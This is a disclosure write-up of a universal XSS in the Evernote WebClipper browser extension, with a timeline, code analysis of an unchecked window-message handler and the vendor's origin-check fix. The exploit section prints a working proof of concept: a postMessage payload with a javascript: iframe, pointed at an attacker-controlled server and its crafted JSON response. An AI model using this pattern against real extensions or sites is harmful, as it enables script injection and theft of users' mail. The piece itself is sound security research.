« Back to home

Universal XSS via Evernote WebClipper

During an evening of bug hunting, I found a cool issue in Evernote's WebClipper tool. The results:

Screen-Shot-2017-12-28-at-02.56.33

google_xss

facebook_xss

WebClipper is a browser extension, which allows a user to extract and store webpage contents, videos, images etc.. to an Evernote account. The extension also proves to be quite popular:

evernote_gmail

In this post we will walk through a vulnerability identified, and show how improper handling of window messages can allow an attacker to inject JavaScript into the DOM of any web application.

Disclosure Timeline

  • 28/12/17 - Initial disclosure.
  • 01/01/18 - Follow-up email.
  • 10/01/18 - Follow-up email confirming that initial email sent on 28/12/17 was received.
  • 10/01/18 - Email from Evernote explaining that previous emails had been intercepted by spam filter, and confirming receipt of security issue.
  • 10/01/18 - Confirmation that issue had been reproduced and Evernote are working on a fix.
  • 15/01/18 - Added to hall of fame (https://evernote.com/security/report-issue/)
  • 15/01/18 - WebClipper 6.13.2 RC released for testing of security fix.
  • 17/01/18 - WebClipper 6.13.2 released.

Thanks and credit to the Evernote team for a quick triage and fix, especially over the festive period.

The Vulnerability

When exploring a Google Chrome browser extension, the first place that I start is with the manifest.json file. This file contains information on how the extension launches, and what permissions are required for the extension to operate.

If we explore the WebClipper manifest, we see that a number of content scripts are registered. A content script is a JavaScript file executed within the DOM of a web page, and are a typical target of attack.

Looking at one example from WebClipper, we see:

"content_scripts": [ {
  "css": [ "content/chrome_fonts.css", "css/contentpreview.css", "content/clip_result/iframe.css", "content/tooltips/TooltipCoordinator.css", "content/tooltips/gmail_tooltip_check.css", "css/coordinator.css" ],
  "js": [ "third_party/port.js", "js/common/Browser.js", "js/common/Log.js", "js/common/Konami.js", "third_party/require/require.js", "content/require/require-config.js", "content/ContentVeil.js", "content/Veil.js", "content/gmail_clipper/GmailTypes.js", "content/gmail_clipper/GmailClipper.js", "third_party/jquery-3.2.1.min.js", "content/HtmlSerializer.js", "content/simSearch.js", "js/common/UUID.js", "content/feedback_form/FeedbackFormCoordinator.js", "clearly/detect/detect.js", "clearly/next/next.js", "clearly/highlight/highlight.js", "clearly/reformat/reformat.js", "clearly/detect_custom/detect_custom.js", "clearly/reformat_custom/reformat_custom.js", "content/init.js", "content/evernote.js", "content/tooltips/TooltipCoordinator.js", "content/tooltips/tooltip_check.js", "content/tooltips/custom_tooltip_check.js" ],
  "matches": [ "*://*/*" ],
  "run_at": "document_start"
}

This shows that WebClipper will run a number of JavaScript files upon the browser navigating to a URL matching *://*/* (so essentially all URL's). Of the list, one script in particular stood out due to its contents... content/gmail_clipper/GmailClipper.js.

Exploring this JavaScript file, we see an obfuscated block of code. After we beautify, we can see that the script is actually registering a number of window message handlers, for example:

window.addEventListener("message", function(a) {
  if ("receiveGmailIk" == a.data.name)
    ...
  else if ("inboxSettings" == a.data.name) {
    ...

It is important to note that the origin of the message being sent is never verified, meaning that any cross-origin messages will be accepted by the extension and trusted.

Tracing through the message handler, we find that our provided window message is passed to the function d as follows:

d(a.data.baseUrl, a.data.ik, c, [], b, !1, a.data.content)

And reviewing the function, we see:

function d(c, e, f, h, i, j, k) {
var l = new XMLHttpRequest;
l.open("POST", c), l.baseUrl = c, l.ik = e, l.threadId = f, l.numRetryMsgs = h.length, l.thread = i, l.threadingEnabled = j, l.onreadystatechange = function() {
  if (4 == this.readyState)
    if (200 == this.status) {
      for (var c = a(this.response), e = [], f = 0; f < c.length; f++)
        if (!("" == c[f].trim() || c[f].indexOf('"ms"') < 0)) {
          var h = b(c[f]);
          try {
            for (var i = JSON.parse(h), j = 0; j < i.length; j++) {
              var l = i[j];
              if ("ms" == l[0] && l[3] >= 2 && l[3] <= 4) {
                var m = l[1],
                  n = new GmailMessage(this.baseUrl);
                if (l[13]) {
                  n.setAuthorInfo(l[5], l[6]), this.thread.setSubject(l[13][21]);
                  var o = k || l[13][6];
                  n.setBody(o), this.thread.addParticipants([
                    [l[5], l[6]]
                  ]), this.thread.addParticipants(l[13][9][1]), this.thread.addParticipants(l[13][9][0]), n.addAttachments(l[13][7][0]), n.setDate(l[24])
                } else e.push(m);
                this.thread.addMessage(n, m)
              }
            }
          } catch (a) {
            return log.error("\n" + a.stack), log.log(h.substring(0, 255)), void g(null, "Could not parse. check console for more details")
          }
        }

Here we find that we can control the parameters passed to the call. The first argument, c, is used to provide a URL where an XMLHttpRequest is issued to. This argument is set to our baseUrl JSON value passed within the window message, meaning that we can set this to a server under our control and manage the response.

Next, the k argument is used to set the contents of the GmailMessage object which is rendered within the DOM of the victim site. This again is controlled by using the content JSON value passed within the window message. This value is accepted containing HTML / JavaScript.

The Exploit

After some review, and focusing on the receiveGmailIk message type, we find a valid message can be sent like this:

var win = window.open("https://mail.google.com/mail/u/0/#inbox", "_blank");
setTimeout(function() {
win.postMessage({name: "receiveGmailIk", baseUrl: "https://test.xpnsec.com/mail/1", content: "Test", preview: 1, ik: "9", user: {email: "xpnsec@protonmail.com", name: "adam chester"}}, "*");
}, 4000);

When requested, the extension will make a request to https://test.xpnsec.com/mail/1 and parse the contents. The following line of the d function is then used to set a variable based on our response and arguments:

var o = k || l[13][6];

Here we control the k variable, and we see that it is later passed to the following function as an argument:

function d(a) {
    var b = document.createElement("div");
    b.innerHTML = a;
    var c = b.getElementsByClassName("h5");
    c.length && c[0].classList.remove("h5"), g = b.innerHTML
}

This means that we can craft an exploit by hosting a malicious JavaScript payload on a site under our control, which opens a window to a victim site and retains the window object. The JavaScript payload then uses the postMessage() method on the window object and sends a JSON payload of:

{name: "receiveGmailIk", baseUrl: "https://test.xpnsec.com/mail/1", content: "<iframe src='javascript:alert(document.domain)'></iframe>", preview: 1, ik: "9", user: {email: "xpnsec@protonmail.com", name: "adam chester"}

Finally, we need to set up a HTTPS server to listen for requests sent to the baseUrl parameter (in our example, https://test.xpnsec.com) and provide the following JSON response:

)]}'

1548
[["ms","1","",4,"xpn sec \u003cxpnsec@protonmail.com\u003e","XPN","xpnsec@protonmail.com",1,"Test",["^all","^f","^i","^iim","^io_im","^io_lr","^o"],0,1,"Test",["1",["XPN Security \u003cxpnsec@protonmail.com\u003e"],[],[],[],"Test","",[[],[0],"",[],[]],0,[[],[["me","xpnsec@protonmail.com"]],[],[],[],[]],"",null,0,1,0,0,1,"",null,"","","Test","",null,[0],null,[],null,0,[0],1,null,null,[],null,0,0,0,0,0,null,null,[],null,6,-1,null,0,null,1,null,null,null,0,null,[],null,[],null,[],0,0,null,[]],null,0,"01:29","01:29",0,null,null,"",["en"],0,"",[],null,null,null,0,null,null,null,0,1,"","xpnsec@protonmail.com",[[],[["me","xpnsec@protonmail.com"]],[],[],[],[]],-1,null,null,null,"gmail.com",null,[],[],0,"",null,null,null,null,null,null,null,null,null,null,null,1,null,0,1],["ce"],["ak","","cv","query",""]]

The exploit was tested using Safari 11.0.2 on MacOS High Sierra and Chrome 64 using version 6.13.1 of WebClipper.

A demo of the exploit being used to retrieve emails from Gmail can be found below:

The Fix

After disclosing the issue to Evernote, a fix was released in version 6.13.2. Reviewing the source, we see that the following check has been added to the extension to ensure that only messages from https://mail.google.com are permitted:

window.addEventListener("message", function(a) {
  if ("https://mail.google.com" === a.origin)
  ...

This origin check essentially prevents the above exploit from functioning, as our message origin will be set to attacker.com.

The fix is now available via the browser extension stores: